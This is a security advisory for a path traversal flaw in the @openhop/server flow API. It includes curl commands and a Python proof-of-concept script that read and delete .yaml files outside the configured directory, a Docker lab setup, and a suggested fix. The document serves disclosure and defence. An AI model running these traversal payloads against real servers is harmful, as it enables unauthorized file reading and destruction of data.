@openhop/server: Path Traversal in Flow ID File Operations

## Path Traversal in Flow ID File Operations ### Summary `@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**. ### Details `FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`: ```ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, `${id}.yaml`) } ``` This result is consumed by two sinks: - **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')` - **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))` The `id` value originates from unauthenticated Fastify HTTP route parameters: - `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335 - `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541 The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory. Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally. **Full data-flow (read path):** 1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`) 2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`) 3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`) 4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`) 5. Server responds HTTP 200 with YAML-parsed JSON body **Full data-flow (delete path):** 1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`) 2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`) 3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`) 4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`) 5. Server responds HTTP 204 ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 ``` The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets. **Attack 1 — Read file outside flow store:** ```bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' ``` Expected response: ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"} ``` **Attack 2 — Delete file outside flow store:** ```bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' ``` Expected response: ```http HTTP/1.1 204 No Content ``` Verify deletion: ```bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' # Output: deleted ``` **Automated PoC script:** ```bash python3 poc.py 127.0.0.1 8799 ``` **Recommended fix:** ```diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ + private filePath(id: string): string { + if (!FLOW_ID_PATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, `${id}.yaml`) } ``` ### Impact This is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H). **Affected parties:** - **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`. - **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication. An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) # # Build context: the repository root (naorsabag/openhop) # Usage: # docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 # # Data layout inside the container: # /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store) # /data/victim.yaml <- OUTSIDE the flow store (path traversal read target) # /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target) # # The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim", # so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml. FROM node:22-alpine WORKDIR /app # Copy package manifests so npm can resolve workspace dependency graph. COPY package*.json ./ COPY packages/server/package*.json packages/server/ COPY packages/shared/package*.json packages/shared/ COPY packages/cli/package*.json packages/cli/ COPY packages/web/package*.json packages/web/ # Copy TypeScript configs and source files BEFORE npm install. # The @openhop/server package has a "prepare" lifecycle that runs # `tsc && esbuild` during npm install, so all sources must be present. COPY tsconfig.base.json ./ COPY packages/server/tsconfig*.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/ # Install all workspace dependencies. # The @openhop/server prepare script will compile to dist/server.js. # We run the server via tsx (direct TypeScript), so the compiled output # is not required at runtime but the prepare step must not fail. RUN npm install # Set up the data directory layout for the PoC. # /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory) # /data/victim.yaml -> outside the store; represents a sensitive file that # MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml # Server listens on 8799 inside the container. EXPOSE 8799 # OPENHOP_DATA_DIR constrains the flow store to /data/flows/. # HOST=0.0.0.0 makes the server reachable from outside the container. ENV OPENHOP_DATA_DIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799 # Run the server via tsx (TypeScript runner; no compile step needed at runtime). CMD ["npx", "tsx", "packages/server/src/index.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 VULN-001 — CVSS 8.3 High Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, `${id}.yaml`) with no sanitization on `id`. The route GET /api/flows/:id passes `req.params.id` (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory. Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml Both routes are unauthenticated (routes.ts:306, 509). Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """ import http.client import json import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799 # URL-encoded payloads: %2F is a percent-encoded "/" character. # find-my-way treats ".." and "%2F" together as a single path segment # (no literal "/" split), then decodes the segment to "../victim". TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim" TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me" def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[*] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False def raw_http(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body def main() -> int: print("=" * 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" * 62) print(f"[*] Target : http://{HOST}:{PORT}") print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)") print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml") print() if not wait_for_server(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1 print() passed_read = False passed_delete = False # ── Attack 1: Read a file outside the configured flow store ───────── print("[*] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSAL_GET_PATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)") status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") print(f" Body : {body_text[:600]}") if status == 200: try: data = json.loads(body_text) title = data.get("meta", {}).get("title", "") if "SECRET_OUTSIDE_FILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passed_read = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passed_read = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}") print() # ── Attack 2: Delete a file outside the configured flow store ──────── print("[*] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)") status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") if body_text: print(f" Body : {body_text[:200]}") if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passed_delete = True else: print(f"[FAIL] Expected HTTP 204, got {status}") # ── Summary ───────────────────────────────────────────────────────── print() print("=" * 62) if passed_read and passed_delete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passed_read: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2 if __name__ == "__main__": sys.exit(main()) ```

Quoted source text, attributed separately from HOL analysis.